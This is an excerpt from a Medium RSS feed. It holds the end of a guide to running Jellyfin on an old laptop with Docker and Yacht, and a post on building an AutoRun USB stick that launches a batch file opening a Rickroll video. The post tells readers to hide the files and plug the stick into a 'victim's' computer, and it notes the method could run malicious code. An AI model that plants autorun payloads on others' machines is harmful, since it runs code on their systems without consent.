src="https://cdn-images-1.medium.com/max/393/1*f94tjfNzKu0E0J4c2o7X_w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*ePr3OBZsPAhFUoFptuDHTw.png" /><figcaption>Transferring a movie file</figcaption></figure><h4>Initializing Jellyfin using Yacht:</h4><p>Now that you have your files and your dashboard for the server, We can use yacht to run all sorts of Docker containers.</p><p>But for our case I will use <strong>Jellyfin</strong> . Jellyfin is an open-source media server software that allows you to organize, stream, and access your personal media library across various devices. It is similar to other media server platforms like Plex or Emby.</p><p>To initialize Jellyfin first we should create a template in Yacht, Lucky for us jellyfin is available in the default template provided by yacht.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*__veKZS4lJyrIBy9-c0WDA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CWeupsW_8EgEbYdSXYuItA.png" /></figure><ul><li>As you can see when you click on Create new template it shows the exact repository we want to add, its called <strong>SelfhostedPro</strong>.</li><li>It contains all sorts of useful templates for docker containers such as Jellyfin, Kodi, Jackett, Homer, etc..,</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MwwcH7E8NHMMFQoC-xpSxQ.png" /></figure><ul><li>Search for Jellyfin , and click deploy.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IhR13AibXAsPrd8aPZkz9A.png" /></figure><blockquote>💡Note: Change the <strong>Network </strong>to <strong>bridge.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9uLW9XG-Orp3FKHfc3-CVg.png" /></figure><ul><li>In this step you have to change the Host to your media directory. In my case its <em>/home/tesla/fakeflix </em>and the container can be of your choice.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M4oW34TPcov2lZHr1_q3XA.png" /></figure><ul><li>Finally change the timezone according to your timezone, in my case its Asia/Calcutta since I’m from India. You can look at the Timezone values <a href="https://en.wikipedia.org/wiki/List_of_tz_database_time_zones#List"><strong>here.</strong></a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZxZrI3fxL7dHFYjSYIMbQw.png" /><figcaption>timezone change</figcaption></figure><ul><li>Hit deploy and visit <a href="http://http//yourservername:8096?">HTTP://yourservername:8096</a>/ to access jellyfin.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RKzsM8lx7MDsKLLv8sDfyA.png" /></figure><ul><li>You can choose your language and create an account. Tick the “Map network ports” . Then its time to add your media folders to jellyfin’s library. Click <strong>New library</strong> and Select your folders and play around with the settings and see which suits you the best.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e0U2HMJd9LXXU83Oj0oORw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q1fvZbUszcTknOm2NLsKkQ.png" /></figure><ul><li>Now Jellyfin automatically detects your media files by their metadata and automatically imports thumbnails,casts and crew, descriptions ,etc., with the help of <a href="https://www.omdbapi.com/">OMDB</a> (Open Movie Database).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*_0rUtGgGDKC5-K-9ymFxqw.png" /></figure><ul><li>You can browse around , create favorites , download subtitles and a lot more inbuilt features to enjoy your media.</li></ul><p>Better than netflix huh?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tK0mcxwCd83cwpug61OViA.png" /></figure><ul><li>You can access this from any device in your network. And if you use an Android smart tv you can use options such as media server mode to view your medias on your big screen.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4TKuV2UVpyuDnh6NHgHK5g.png" /><figcaption>Media server option in my smart tv</figcaption></figure><p>Goal of this project was not to implement jellyfin but to repurpose an old laptop into a server where you can run all sorts of applications with help of technologies such as Docker and Yacht. We can also reduce e-waste by repurposing our electronics. Jellyfin is just an example use case, with the same technologies you can host any service , your creativity is the limit.</p><h4>What can we learn from this project📝:</h4><ul><li><strong>Repurposing old hardware:</strong> By utilizing an old laptop as a media server, you give it a new purpose and extend its lifespan, promoting sustainability and resourcefulness.</li><li><strong>Linux administration:</strong> Ubuntu is a popular Linux distribution, and by setting up Ubuntu on your old laptop, you will learn about Linux administration, including package management, user management, and system configuration.</li><li><strong>Server deployment:</strong> Configuring your old laptop as a media server involves setting up various server components, such as Docker, Yacht, and Jellyfin. This process will teach you how to deploy and manage server applications effectively.</li><li><strong>Containerization with Docker:</strong> Docker is a powerful tool for containerization, allowing you to package applications and their dependencies into lightweight, isolated containers. By using Docker to set up your media server, you will learn about containerization concepts, container management, and deployment workflows.</li><li><strong>Web-based server management with Yacht:</strong> Yacht is a user-friendly web interface that provides an easy-to-use dashboard for managing Docker containers and services. Integrating Yacht into your media server setup will give you hands-on experience with web-based server management and monitoring.</li><li><strong>Media streaming with Jellyfin:</strong> Jellyfin is a media server software that allows you to organize, stream, and access your media files from various devices. By setting up Jellyfin on your media server, you will learn about media transcoding, streaming protocols, and remote access configuration.</li><li><strong>Troubleshooting and problem-solving: </strong>Throughout the process of setting up your media server, you may encounter various challenges and errors. This experience will help you develop troubleshooting skills and improve your ability to diagnose and resolve technical issues.</li><li><strong>Networking and security considerations: </strong>By exploring and configuring a media server ,you can learn network setup, port forwarding (not discussed in detail), and ensuring proper security measures are in place. You will learn about network configurations, and best practices for securing your server.</li></ul><p>That’s it for this blog . Keep exploring technologies , hope to see you on the next one :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*F6oC-dJlYmY3oiIPkZkNBA.gif" /></figure><p>Fun fact : Did you know you can long press on the 👏 below clap up to 50 times?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3e4f695ec6ce" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Rickroll your friends with a Poor man’s USB Rubber Ducky?]]></title>
            <link>https://0xtesla.medium.com/how-to-rickroll-your-friends-with-a-poor-mans-usb-rubber-ducky-f4c55e1c961f?source=rss-772ba6252161------2</link>
            <guid isPermaLink="false">https://medium.com/p/f4c55e1c961f</guid>
            <category><![CDATA[usb-rubber-ducky]]></category>
            <category><![CDATA[rickroll]]></category>
            <category><![CDATA[badusb]]></category>
            <category><![CDATA[rubber-ducky]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Jeyavasan]]></dc:creator>
            <pubDate>Mon, 06 Jun 2022 11:59:50 GMT</pubDate>
            <atom:updated>2023-07-24T12:51:06.278Z</atom:updated>
            <content:encoded><![CDATA[<h3>How to rickroll your friends with a poor man’s rubber ducky?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BXyAqmG4m-Mubco50OZVow.png" /></figure><p>I was going through my old stuff and found an old CD which had a simple flash game in it. I opened it up on my laptop and found a file named “<a href="https://en.wikipedia.org/wiki/Autorun.inf">AutoRun.inf</a>” ,like any other pro hacker I googled what it was</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F21481919&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fcat-typing-typing-on-computer-computer-work-laptop-gif-21481919&amp;image=https%3A%2F%2Fmedia.tenor.com%2FbCfpwMjfAi0AAAAC%2Fcat-typing.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/b519868ac274433b494dba9182c53070/href">https://medium.com/media/b519868ac274433b494dba9182c53070/href</a></iframe><p>Turns out that AutoRun.inf is the file that makes the computer automatically play whatever is on the CD , this is the reason back then when you insert a CD into a computer it automatically plays a video or opens up a game. This AutoRun and AutoPlay component was pretty common in Windows 7, XP and Vista , hackers took advantage of it and use it to automatically run malicious code when the CD drive is inserted ,So Microsoft removed it from few versions but eventually they included it again with some changes.</p><p>I believe it is turned off by default in Windows 10, but if it is turned on we can simply create an USB that injects commands or runs malicious code similar to a Rubber ducky or a BadUSB but….. its not the same since they work like an external keyboard but we are only going to execute a file.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F16061448&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Ftom-and-jerry-evil-smile-cat-gif-16061448&amp;image=https%3A%2F%2Fc.tenor.com%2FDYzUq3uX1QgAAAAC%2Ftom-and-jerry-evil.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/e7e8ba2fd200e2a070aec4fc5016c532/href">https://medium.com/media/e7e8ba2fd200e2a070aec4fc5016c532/href</a></iframe><p>So I googled again on how to create AutoRun.inf for a USB and found that we can do it with “<a href="https://usb-autorun-creator.en.softonic.com/">USB AutoRun Creator-Editor</a>”. We have to choose the file and the drive and it automatically takes care of the rest for us. Now its time to make the malicious code , the code that’ll perform rickroll. This part is simple all you need is a simple .bat file that opens up a youtube video, here is the code I used you can modify it.</p><pre><a href="http://twitter.com/ECHO">@ECHO</a> OFF<br>SET BROWSER=chrome.exe<br>SET WAIT_TIME=2<br><a href="http://twitter.com/ping">@ping</a> 127.0.0.1 -n %WAIT_TIME% -w 1000 &gt; nul<br>START %BROWSER% -new-tab &quot;<a href="https://youtu.be/dQw4w9WgXcQ">https://youtu.be/dQw4w9WgXcQ</a>&quot;<br>pause</pre><p>It checks if the internet is working and then opens up the rickroll video with chrome browser. Now we can save this code as a .bat file , copy it to the USB and make the AutoRun.inf file . Open up the USB AutoRun Creator software and follow the steps.</p><p>Step 1: choose the file that you want to execute in my case its “roll.bat”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*rsMPMpjkH3kbqI6L3z_8CQ.png" /></figure><p>Step 2: Select your USB drive and click the USB Drive button then hit “ok”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*Vyp1pKBe7_DqmIvINsM_XA.png" /></figure><p>Step 3: Hit “Create” and your poor man’s rubber ducky will be ready</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*FKasajdpNwbLb6XzQgDXSQ.png" /></figure><p>Step 4: Hide your files in the USB Drive</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NCtTWTJ6n_pM_9SQQzFU9w.gif" /></figure><p>Step 5: Plug it in your victim’s computer and Rickroll!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*cUZ3CCsHy8JQbrGQ6F28dQ.gif" /></figure><p>This method is not only for rickrolls , it could do malicious stuff and could cause serious damage, you can even use it for pentesting. So use it ethically ,wisely and most of all have fun. click that follow button and clap button if you liked this article, see you on the flip side. 👋</p><p>Fun fact : Did you know you can long press on the 👏 below clap up to 50 times?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f4c55e1c961f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>